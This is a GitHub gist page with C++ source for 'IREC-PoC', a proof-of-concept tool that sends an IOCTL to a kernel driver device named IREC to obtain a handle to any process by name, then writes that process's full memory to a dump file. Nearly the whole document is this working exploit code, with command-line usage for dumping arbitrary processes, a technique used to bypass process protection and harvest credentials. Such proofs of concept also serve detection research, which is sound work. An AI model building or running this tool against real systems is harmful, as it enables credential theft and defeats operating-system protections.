-
-
Save MHaggis/715ce7b5a46999ec7527b9ad601de578 to your computer and use it in GitHub Desktop.
IREC-PoC
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#include <iostream> | |
#include <dbghelp.h> | |
#include <TlHelp32.h> | |
#define IOCTL_BASE 0x80012008 | |
constexpr DWORD IREC_IOCTL(DWORD x) { return IOCTL_BASE + x; } | |
#define IOTCL_IREC_OPEN_PROCESS IREC_IOCTL( 0x20 ) | |
static const char* DeviceName = R"(\\.\IREC)"; | |
typedef struct _IREC_OPEN_PROCESS { | |
DWORD pid; | |
} IREC_OPEN_PROCESS, * PIREC_OPEN_PROCESS; | |
DWORD GetProcessIdByName(const std::wstring & processName) { | |
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); | |
PROCESSENTRY32 pEntry; | |
pEntry.dwSize = sizeof(pEntry); | |
BOOL hRes = Process32First(hSnapShot, &pEntry); | |
while (hRes) { | |
if (wcscmp(pEntry.szExeFile, processName.c_str()) == 0) { | |
CloseHandle(hSnapShot); | |
return pEntry.th32ProcessID; | |
} | |
hRes = Process32Next(hSnapShot, &pEntry); | |
} | |
CloseHandle(hSnapShot); | |
return 0; // If process is not found return 0 | |
} | |
std::wstring StringToWString(const std::string & s) { | |
int len; | |
int slength = (int)s.length() + 1; | |
len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, 0, 0); | |
wchar_t* buf = new wchar_t[len]; | |
MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, buf, len); | |
std::wstring r(buf); | |
delete[] buf; | |
return r; | |
} | |
constexpr DWORD cexpr_lstrlenW(const wchar_t str[]) { | |
DWORD i = 0; | |
while (str[i++]) {} | |
return i; | |
} | |
void DumpProcess(const std::string & processName, const std::string & dumpFilePath) { | |
std::wstring wideProcessName = StringToWString(processName); | |
HANDLE hDevice = INVALID_HANDLE_VALUE; | |
BOOL bResult = FALSE; | |
BOOL bDumpResult = FALSE; | |
HANDLE hProcess = NULL; | |
DWORD dwBytesReturned; | |
DWORD processId = GetProcessIdByName(wideProcessName); // Replace with actual function to get PID from process name | |
hDevice = CreateFileA(DeviceName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); | |
if (hDevice == NULL) { | |
printf("Failed to open device.\n"); | |
return; | |
} | |
IREC_OPEN_PROCESS openProcess; | |
openProcess.pid = processId; | |
bResult = DeviceIoControl(hDevice, IOTCL_IREC_OPEN_PROCESS, &openProcess, sizeof(DWORD), &openProcess, sizeof(HANDLE), &dwBytesReturned, NULL); | |
if (!bResult) { | |
printf("DeviceIoControl failed with error: %d\n", GetLastError()); | |
return; | |
} | |
hProcess = (HANDLE)openProcess.pid; | |
processId = GetProcessId(hProcess); | |
if (processId == 0) { | |
printf("Failed to get process ID. Error: %lu\n", GetLastError()); | |
return; | |
} | |
printf("[*] %s Process ID: %lu\n", processName.c_str(), processId); | |
if (!hProcess || hProcess == INVALID_HANDLE_VALUE) { | |
printf("Invalid process handle: %p\n", hProcess); | |
return; | |
} | |
HANDLE hFile = CreateFileA(dumpFilePath.c_str(), GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); | |
if (hFile == INVALID_HANDLE_VALUE) { | |
DWORD dwError = GetLastError(); | |
printf("CreateFileA failed with error: %lu\n", dwError); | |
return; | |
} | |
bDumpResult = MiniDumpWriteDump(hProcess, 0, hFile, MiniDumpWithFullMemory, NULL, NULL, NULL); | |
if (!bDumpResult) { | |
DWORD dwError = GetLastError(); | |
printf("Dump failed with error: %lu\n" + dwError); | |
} | |
else { | |
printf("[*] Dump succeeded.\n"); | |
} | |
CloseHandle(hProcess); | |
CloseHandle(hFile); | |
} | |
void ShowHelp() { | |
printf("Usage: program [command] [arguments]\n"); | |
printf("Here are the available commands:\n"); | |
printf("\tdump <process name> <file path>: Dump a process memory into a file.\n"); | |
printf("\t\tExample: IREC-PoC.exe dump process.exe C:\\temp\\dumpfile.dmp\n"); | |
printf("If no command is provided, the help menu will be displayed.\n"); | |
} | |
int main(int argc, char* argv[]) { | |
if (argc < 2) { | |
ShowHelp(); | |
return -1; | |
} | |
std::string command = argv[1]; | |
if (command == "dump") { | |
if (argc < 4) { | |
printf("Please provide a process name and a dump file path with the dump command.\n"); | |
return -1; | |
} | |
std::string processName = argv[2]; | |
std::string dumpFilePath = argv[3]; | |
DumpProcess(processName, dumpFilePath); | |
} | |
else { | |
ShowHelp(); | |
return -1; | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment